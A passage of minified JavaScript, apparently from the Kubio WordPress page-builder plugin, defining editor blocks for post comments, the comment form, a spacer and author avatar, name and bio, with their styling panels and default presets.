offset","kubio"),max:100,path:"margin.left",style:Hj.REPLIES,type:Ne.WithDataPathTypes.STYLE})]}),(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Comment background","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Odd Comment background","kubio"),path:"background",type:Ne.WithDataPathTypes.STYLE,style:Hj.ODD}),(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Even Comment background","kubio"),path:"background",type:Ne.WithDataPathTypes.STYLE,style:Hj.EVEN})]}),(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Author","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Author name","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,style:Hj.AUTHOR_NAME}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Author link","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,style:Hj.AUTHOR_LINK}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Author link hover","kubio"),path:"typography.color",state:"hover",type:Ne.WithDataPathTypes.STYLE,style:Hj.AUTHOR_LINK}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{label:(0,We.__)("Author typography","kubio"),path:"typography",style:[Hj.AUTHOR_NAME,Hj.AUTHOR_LINK]}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithPath,{label:(0,We.__)("Avatar size","kubio"),max:200,path:"avatarSize",type:Ne.WithDataPathTypes.ATTRIBUTE}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Avatar rounded corners","kubio"),...o,...t})]}),(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Metadata","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Comment date","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,style:Hj.DATE}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Comment date hover","kubio"),path:"typography.color",state:"hover",type:Ne.WithDataPathTypes.STYLE,style:Hj.DATE}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Comment edit","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,style:Hj.EDIT}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Comment edit hover","kubio"),path:"typography.color",state:"hover",type:Ne.WithDataPathTypes.STYLE,style:Hj.EDIT}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{label:(0,We.__)("Metadata typography","kubio"),path:"typography",style:[Hj.DATE,Hj.EDIT]}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithPath,{label:(0,We.__)("Avatar size","kubio"),max:200,path:"avatarSize",type:Ne.WithDataPathTypes.ATTRIBUTE}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Avatar rounded corners","kubio"),...o,...t})]}),(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Content","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Comment content background","kubio"),path:"background.color",type:Ne.WithDataPathTypes.STYLE,style:Hj.CONTENT}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,type:Ne.WithDataPathTypes.STYLE,style:Hj.CONTENT}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",type:Ne.WithDataPathTypes.STYLE,style:Hj.CONTENT})]}),(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Closed comments","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Color","kubio"),path:"typography.color",style:Hj.CLOSED_COMMENTS_MESSAGE,type:Ne.WithDataPathTypes.STYLE}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",style:Hj.CLOSED_COMMENTS_MESSAGE}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"textAlign",style:Hj.CLOSED_COMMENTS_MESSAGE,type:Ne.WithDataPathTypes.STYLE})]})]})})),Yj=Vj,$j=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(Yj,{})}),Kj=e=>{var t;const{computed:o,StyledElements:n,context:a,Background:i,attributes:r}=e,{postId:s}=a,{noCommentsTitle:l,oneCommentTitle:u,multipleComments:c,commentsDisabled:p,avatarSize:d}=o;return(0,Je.jsxs)(n.CommentsContainer,{children:[(0,Je.jsx)(i,{}),(0,Je.jsx)(Ne.ServerSideRender,{block:"kubio/post-comments",urlQueryArgs:{post_id:s},attributes:{noCommentsTitle:l,oneCommentTitle:u,multipleComments:c,commentsDisabled:p,avatarSize:d,kubio:{migrations:(null==r||null===(t=r.kubio)||void 0===t?void 0:t.migrations)||[]}}})]})},qj=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>{var o,n;return{noCommentsTitle:e.getAttribute("noCommentsTitle"),oneCommentTitle:e.getAttribute("oneCommentTitle"),multipleComments:e.getAttribute("multipleComments"),commentsDisabled:e.getAttribute("commentsDisabled"),avatarSize:e.getAttribute("avatarSize"),migrations:null==t||null===(o=t.attributes)||void 0===o||null===(n=o.kubio)||void 0===n?void 0:n.migrations}})),(0,Ne.withContainerBase)(),(0,Ne.withStyledElements)((()=>({[Hj.COMMENTS_CONTAINER]:{className:"kubio-post-comments-container"}})))),Xj=qj(Kj);qj(Kj);const Qj=[{id:1,handleAttributes:e=>{const t=(0,Ae.cloneDeep)(e),o="kubio.style.descendants";(0,Ae.unset)(t,`${o}.commentInfo`),(0,Ae.unset)(t,`${o}.commentInfoContainer`);const n=(0,Ae.get)(e,`${o}.commentInfoContainer.typography`);return(0,Ae.set)(t,`${o}.commentDate.typography`,n),(0,Ae.set)(t,`${o}.commentEdit.typography`,n),(0,Ae.set)(t,`${o}.descendants.commentAuthorLink`,(0,Ae.get)(e,`${o}.commentAuthorName`)),(0,Ae.unset)(t,`${o}.comment.margin.left`),(0,Ae.unset)(t,`${o}.alternateComment.margin.left`),(0,Ae.unset)(t,`${o}.commentAvatar.margin.bottom`),t}}],Zj=[{name:"default",isDefault:!0,title:(0,We.__)("Post comments","kubio"),description:(0,We.__)("Post comments","kubio"),attributes:{kubio:{style:{descendants:{commentAuthorName:{typography:{weight:400,color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}},margin:{top:{value:"",unit:"px"}}},commentAvatar:{margin:{right:{value:5,unit:"px"},top:{value:"",unit:"px"},left:{value:"",unit:"px"}},padding:{top:{value:"",unit:"px"}}},comment:{border:{top:{style:"solid"},bottom:{style:"solid"},left:{style:"solid",width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)"}},padding:{top:{value:0,unit:"px"},bottom:{value:0,unit:"px"},left:{value:12,unit:"px"},right:{value:12,unit:"px"}},margin:{top:{value:20,unit:"px"}}},alternateComment:{border:{top:{style:"none"},right:{style:"none"},bottom:{style:"none"},left:{style:"solid",width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)"}},padding:{top:{value:0,unit:"px"},bottom:{value:0,unit:"px"},left:{value:12,unit:"px"},right:{value:12,unit:"px"}},margin:{top:{value:20,unit:"px"}}},commentReplies:{margin:{left:{value:12,unit:"px"}}},commentsContainer:{margin:{left:{value:-10,unit:"px"}}},commentReply:{typography:{color:"rgba(var(--kubio-color-1),1)"},states:{hover:{typography:{color:"rgba(var(--kubio-color-1-variant-4),1)"}}}},commentAuthorSays:{typography:{color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}}},commentDate:{typography:{color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}}},commentEdit:{typography:{color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}}},descendants:{commentAuthorLink:{typography:{weight:400,color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}},margin:{top:{value:"",unit:"px"}}}},commentAuthorLink:{typography:{color:"rgba(var(--kubio-color-6-variant-4),1)"}}}}},prefix:"",noCommentsTitle:(0,We.__)("No responses yet","kubio"),oneCommentTitle:(0,We.__)("One response","kubio"),avatarSize:"40",multipleComments:(0,We.__)("{COMMENTS-COUNT} Responses","kubio"),commentsDisabled:(0,We.__)("Comments are closed","kubio")}}],Jj={name:"kubio/post-comments",category:"kubio-blog-components",attributes:{kubio:{type:"object"},prefix:{type:"string",default:""},noCommentsTitle:{type:"string",default:"No responses yet"},oneCommentTitle:{type:"string",default:"One response"},avatarSize:{type:"string",default:"50"},multipleComments:{type:"string",default:"{COMMENTS-COUNT} Responses"},commentsDisabled:{type:"string",default:"Comments are closed"}},usesContext:["postId","postType"],supports:{kubio:{default:{style:{descendants:{commentReplies:{margin:{left:{value:20,unit:"px"}}},commentAvatar:{border:{top:{radius:{left:{value:100,unit:"%"},right:{value:100,unit:"%"}}},bottom:{radius:{left:{value:100,unit:"%"},right:{value:100,unit:"%"}}}}}}},props:{}},elementsEnum:{CONTAINER:"commentsContainer",NUMBER:"commentsTitle",CLOSED:"disabledComments",EVEN:"comment",ODD:"alternateComment",AVATAR:"commentAvatar",AUTHOR_NAME:"commentAuthorName",AUTHOR_LINK:"commentAuthorLink",DATE:"commentDate",EDIT:"commentEdit",CONTENT:"commentText",REPLY_LINK:"commentReply",REPLY_FORM:"commentReplyForm",REPLIES:"commentReplies",COMMENT_META_CONTAINER:"commentInfoContainer",COMMENT_META:"commentInfo"},elementsByName:{commentsContainer:{wrapper:!0,default:!0},commentsTitle:{selector:".comments-title"},disabledComments:{selector:".comments-disabled"},comment:{selector:".comment.even"},alternateComment:{selector:".comment.odd"},commentAvatar:{selector:".comment-author img"},commentAuthorName:{selector:".comment-author .fn"},commentAuthorLink:{selector:".comment-author .fn a"},commentDate:{selector:".comment-metadata > a"},commentEdit:{selector:".comment-metadata > .edit-link > a"},commentText:{selector:".comment-content"},commentReply:{selector:".comment-body .reply a"},commentReplyForm:{selector:".comment-body .comment-respond"},commentReplies:{selector:".comment > .children"},commentInfoContainer:{selector:".comment-meta"},commentInfo:{selector:".comment-metadata"}},template:{type:"element",props:{name:"commentsContainer"}}}}},eB=(0,Sn.extendBlockMeta)(Jj,{title:(0,We.__)("Post Comments","kubio"),keywords:[(0,We.__)("comment","kubio")],icon:Tn.BlockIcons.PostComments,apiVersion:2,supports:{kubio:{elementsByName:Gj,elementsGroups:Uj},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(zj,{}),(0,Je.jsx)($j,{}),(0,Je.jsx)(Xj,{...e})]})},kubioMigrations:Qj,variations:Zj}),tB="container",oB="commentFormTitle",nB="commentFormLabels",aB="commentFormInputs",iB="commentFormButton",rB="commentFormButtonWrapper",sB="commentFormNotes",lB={[tB]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC,filters:{[jn.StylesEnum.SPACING]:ut.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[oB]:{label:(0,We.__)("Title","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.NONE,filters:{[jn.StylesEnum.SPACING]:ut.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[nB]:{label:(0,We.__)("Labels","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.NONE,filters:{[jn.StylesEnum.SPACING]:ut.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[aB]:{label:(0,We.__)("Inputs","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BUTTON,filters:{[jn.StylesEnum.SPACING]:ut.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[rB]:{label:(0,We.__)("Button wrapper","kubio"),internal:!0},[iB]:{label:(0,We.__)("Button","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BUTTON,filters:{[jn.StylesEnum.SPACING]:ut.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[sB]:{label:(0,We.__)("Notes","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.NONE,filters:{[jn.StylesEnum.SPACING]:ut.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING,border:{supportsBoxShadow:!1}}}}},uB={type:Ne.WithDataPathTypes.STYLE,style:aB},cB={type:Ne.WithDataPathTypes.STYLE,style:oB},pB={type:Ne.WithDataPathTypes.STYLE,style:nB},dB={type:Ne.WithDataPathTypes.STYLE,style:iB},mB=()=>{const e="normal",t=[{value:e,label:(0,We.__)("Normal","kubio")},{value:"hover",label:(0,We.__)("Hover","kubio")}],[o,n]=(0,Me.useState)(e);return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Form","kubio"),initialOpen:!0,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",type:Ne.WithDataPathTypes.STYLE,style:tB}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Title color","kubio"),path:"typography.color",...cB}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{label:(0,We.__)("Title typography","kubio"),path:"typography",...cB})]}),(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Fields","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Label color","kubio"),path:"typography.color",...pB}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{label:(0,We.__)("Label typography","kubio"),path:"typography",...pB}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Input background color","kubio"),path:"background.color",...uB}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Input text color","kubio"),path:"typography.color",...uB}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{label:(0,We.__)("Input typography","kubio"),path:"typography",...uB}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...uB})]}),(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Submit button","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ToggleGroup,{options:t,value:o,onChange:e=>n(e)}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background","kubio"),path:"background.color",state:o,...dB}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",state:o,...dB}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:o,...dB}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{label:(0,We.__)("Typography","kubio"),path:"typography",...dB}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",...dB}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...dB,withColor:!1}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxShadowWithPath,{path:"boxShadow",...dB}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Button align","kubio"),path:"textAlign",type:Ne.WithDataPathTypes.STYLE,style:rB})]})]})},hB=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(mB,{})}),bB=(0,De.compose)((0,Ne.withStyledElements)())((({StyledElements:e,context:t})=>{const{postId:o}=t;return(0,Je.jsx)(e.Container,{children:(0,Je.jsx)(Ne.ServerSideRender,{block:"kubio/post-comments-form",urlQueryArgs:{post_id:o}})})})),gB=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)("div",{className:"kubio-editing-header",children:(0,Je.jsx)(ut.ControlNotice,{content:(0,We.__)("Current block does not have content options","kubio")})})}),yB={name:"kubio/post-comments-form",category:"kubio-blog-components",attributes:{kubio:{type:"object"},prefix:{type:"string",default:""}},usesContext:["postId","postType"],supports:{kubio:{default:{style:{descendants:{commentFormInputs:{border:{top:{width:{value:1,unit:"px"},style:"solid"},right:{width:{value:1,unit:"px"},style:"solid"},left:{width:{value:1,unit:"px"},style:"solid"},bottom:{width:{value:1,unit:"px"},style:"solid"}}},commentFormButtonWrapper:{textAlign:"left"}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",PREFIX:"prefix",TAGS:"tags",COMMENT_FORM_CONTAINER:"container",COMMENT_FORM_TITLE:"commentFormTitle",COMMENT_FORM_LABELS:"commentFormLabels",COMMENT_FORM_INPUTS:"commentFormInputs",COMMENT_FORM_BUTTON:"commentFormButton",COMMENT_FORM_BUTTON_WRAPPER:"commentFormButtonWrapper",COMMENT_FORM_LINKS:"commentFormLinks",COMMENT_FORM_NOTES:"commentFormNotes"},elementsByName:{container:{wrapper:!0,default:!0},commentFormTitle:{selector:".comment-reply-title"},commentFormLabels:{selector:"label"},commentFormInputs:{selector:'input:not([type="submit"]),textarea'},commentFormButtonWrapper:{selector:".form-submit"},commentFormButton:{selector:'.comment-form [type="submit"]'},commentFormLinks:{selector:".comment-form a, .comment-respond a"},commentFormNotes:{selector:".comment-notes"}},template:{type:"element",props:{name:"container"}}}}},kB=(0,Sn.extendBlockMeta)(yB,{title:(0,We.__)("Post Comments Form","kubio"),description:(0,We.__)("Customize your comments form fields, labels, buttons, links, background, and more.","kubio"),keywords:[(0,We.__)("comment","kubio")],icon:Tn.BlockIcons.PostCommentsForm,apiVersion:2,supports:{kubio:{elementsByName:lB},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(gB,{}),(0,Je.jsx)(hB,{}),(0,Je.jsx)(bB,{...e})]})}}),fB="container",_B={[fB]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.RESPONSIVE],states:[jn.StatesEnum.NORMAL]}}},vB=(0,Ne.withComputedData)()((()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:fB};return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(ut.KubioPanelBody,{title:(0,We.__)("Spacer Properties","kubio"),children:(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Height","kubio"),path:"height",max:300,min:1,capMin:!0,...e})})})})),xB=vB,CB=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(xB,{})}),IB=e=>{const{StyledElements:t}=e;return(0,Je.jsx)(t.Container,{})},EB=(0,De.compose)((0,Ne.withColibriData)(),(0,Ne.withStyledElements)()),TB=EB(IB);EB(IB);const SB={name:"kubio/spacer",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{container:{height:{value:50,unit:"px"}}}},props:{}},elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0,className:"kubio-spacer"}},template:{type:"element",props:{name:"container"}}}}},wB=(0,Sn.extendBlockMeta)(SB,{title:(0,We.__)("Spacer","kubio"),description:(0,We.__)("You can use the spacer block instead of margins and paddings, when you want to add space between content sections.","kubio"),keywords:[(0,We.__)("space","kubio")],icon:Tn.BlockIcons.Spacer,apiVersion:2,supports:{kubio:{elementsByName:_B},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(CB,{}),(0,Je.jsx)(TB,{...e})]})}}),PB="outer",AB="image",jB={[AB]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TRANSITION],states:jn.StatesPresetsEnum.BASIC,filters:{[jn.StylesEnum.RESPONSIVE]:{isDisabled:!0},[jn.StylesEnum.MISC]:{isDisabled:!0}}}}},BB=(0,Ze.defaultAssetURL)("avatar-image-placeholder.png"),NB=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>{const{context:o}=t,{postType:n,postId:a}=o,i=e.getAttribute("avatarSize"),{url:r,url2x:s}=(0,Le.useSelect)((e=>{var t;const{getEditedEntityRecord:o,getUser:r}=e(Bt.store),s=r(null===(t=o("postType",n,a))||void 0===t?void 0:t.author),l=s?Object.values(null==s?void 0:s.avatar_urls):null,u=(e=!1)=>{if(l){const t=l[1].split("?s=");return i>0?t[0]+"?s="+(e?2*i:i)+t[1].slice(2)+(e?" 2x":""):null}return BB+(e?" 2x":"")};return{url:u,url2x:u(!0)}}),[i]);return{url:r,url2x:s}})),(0,Ne.withStyledElements)((({computed:e})=>({[AB]:{src:null==e?void 0:e.url,srcSet:null==e?void 0:e.url2x}})))),OB=NB((e=>{const{StyledElements:t}=e;return(0,Je.jsx)(t.Outer,{children:(0,Je.jsx)(t.Image,{})})})),RB=(0,Ne.withComputedData)((()=>({defaultTextAlign:(0,bt.useInheritedTextAlign)()})))((({computed:e})=>{const{defaultTextAlign:t}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Avatar Properties","kubio"),children:[(0,Je.jsx)(ut.RangeWithPath,{label:(0,We.__)("Avatar size","kubio"),max:200,path:"avatarSize",type:Ne.WithDataPathTypes.ATTRIBUTE}),(0,Je.jsx)(ut.TooltipWrapper,{leftPosition:"55px",text:(0,We.__)("All userβs posts link will be added to Author Avatar","kubio"),children:(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Add link","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"addLink"})}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"textAlign",type:Ne.WithDataPathTypes.STYLE,style:PB,defaultValue:t})]})})),DB=e=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(RB,{...e})}),LB=()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:AB};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Avatar","kubio"),children:[(0,Je.jsx)(ut.BoxShadowWithPath,{label:(0,We.__)("Box shadow","kubio"),path:"boxShadow",showReset:!0,...e}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{label:(0,We.__)("Border","kubio"),path:"border",...e})]})},MB=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(LB,{})}),WB={name:"kubio/post-author-avatar",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"},addLink:{type:"boolean",default:!1},url:{type:"string"},avatarSize:{type:"string",default:"50"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",IMAGE:"image"},elementsByName:{outer:{wrapper:!0,props:{className:["author-avatar-block"]}},image:{default:!0,props:{tag:"img"}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"image"}}]}]}}}},HB=(0,Sn.extendBlockMeta)(WB,{title:(0,We.__)("Author Avatar","kubio"),keywords:[(0,We.__)("post author avatar","kubio"),(0,We.__)("world","kubio")],icon:Tn.BlockIcons.PostAuthorAvatar,apiVersion:2,supports:{kubio:{elementsByName:jB,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(DB,{...e}),(0,Je.jsx)(MB,{}),(0,Je.jsx)(OB,{...e})]})}}),GB="outer",UB="link",FB="text",zB={[FB]:{label:(0,We.__)("Author","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY,jn.StylesEnum.TEXT_SHADOW,jn.StylesEnum.TRANSITION],states:["normal","hover"]}},[UB]:{internal:!0,supports:{states:["normal","hover"]}}},VB=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>{const{context:o}=t,{postType:n,postId:a}=o,{authorName:i,authorLink:r}=(0,Le.useSelect)((e=>{var t;const{getEditedEntityRecord:o,getUser:i}=e(Bt.store),r=i(null===(t=o("postType",n,a))||void 0===t?void 0:t.author);return{authorName:null==r?void 0:r.name,authorLink:null==r?void 0:r.link}}),[]);return{authorName:i,link:{typeOpenLink:"sameWindow",value:e.getAttribute("addLink")?r:""}}})),(0,Ne.withStyledElements)((()=>({[GB]:{},[UB]:{},[FB]:{}}))))((e=>{const{computed:t,StyledElements:o}=e,{authorName:n,link:a}=t;return(0,Je.jsx)(o.Outer,{children:(0,Je.jsx)(ut.LinkWrapper,{link:a,children:(0,Je.jsx)(o.Text,{tag:"p",children:n})})})})),YB=(0,Ne.withComputedData)((()=>({defaultTextAlign:(0,bt.useInheritedTextAlign)()})))((({computed:e})=>{const{defaultTextAlign:t}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Author Name Properties","kubio"),children:[(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,defaultValue:t,type:Ne.WithDataPathTypes.STYLE,style:FB,skipJustify:!0}),(0,Je.jsx)(ut.TooltipWrapper,{leftPosition:"55px",text:(0,We.__)("All userβs posts link will be added to Author Name","kubio"),children:(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Add link","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"addLink"})})]})})),$B=YB,KB=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)($B,{})}),qB=(0,Ne.withComputedData)((e=>{const t=(0,bt.useInheritedTypographyValue)("p","color");return{addLink:e.getAttribute("addLink"),linkDefaultValue:e.getStyle("typography.color",t,{styledComponent:FB,state:"hover"}),defaultTypographyColor:t}}))((e=>{const{computed:t}=e,{addLink:o,linkDefaultValue:n,defaultTypographyColor:a}=t,i={type:Ne.WithDataPathTypes.STYLE,style:FB};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Text","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",defaultValue:a,...i}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...i}),(0,Je.jsx)(ut.TextShadowControlPopupWithPath,{path:"textShadow",...i}),o&&(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Link hover color","kubio"),path:"typography.color",defaultValue:n,type:Ne.WithDataPathTypes.STYLE,style:UB,state:"hover"})]})})),XB=qB,QB=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(XB,{})}),ZB={name:"kubio/post-author-name",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"},addLink:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{props:{},style:{descendants:{outer:{},link:{}}}},elementsEnum:{OUTER:"outer",LINK:"link",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"div",className:["author-name-block d-flex"]}},text:{default:!0,selector:".wp-block-kubio-post-author-name__text",props:{tag:"p"}},link:{selector:{normal:"a p.wp-block-kubio-post-author-name__text",hover:"a:hover p.wp-block-kubio-post-author-name__text"},props:{tag:"a"}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"text"}}]}]}}}},JB=(0,Sn.extendBlockMeta)(ZB,{title:(0,We.__)("Author Name","kubio"),keywords:[(0,We.__)("post author name","kubio"),(0,We.__)("world","kubio")],icon:Tn.BlockIcons.PostAuthorName,apiVersion:2,supports:{kubio:{elementsByName:zB,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(KB,{}),(0,Je.jsx)(QB,{}),(0,Je.jsx)(VB,{...e})]})}}),eN="text",tN={[eN]:{label:(0,We.__)("Author bio","kubio"),supports:{styles:[jn.StylesEnum.TRANSITION,jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY,jn.StylesEnum.TEXT_SHADOW],states:jn.StatesPresetsEnum.BASIC}}},oN={authorBio:(0,We.__)("No Biographical Info for this user","kubio")},nN=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>{const{context:o}=t,{postType:n,postId:a}=o,{authorBio:i}=(0,Le.useSelect)((e=>{var t;const{getEditedEntityRecord:o,getUser:i}=e(Bt.store),r=i(null===(t=o("postType",n,a))||void 0===t?void 0:t.author);return{authorBio:null==r?void 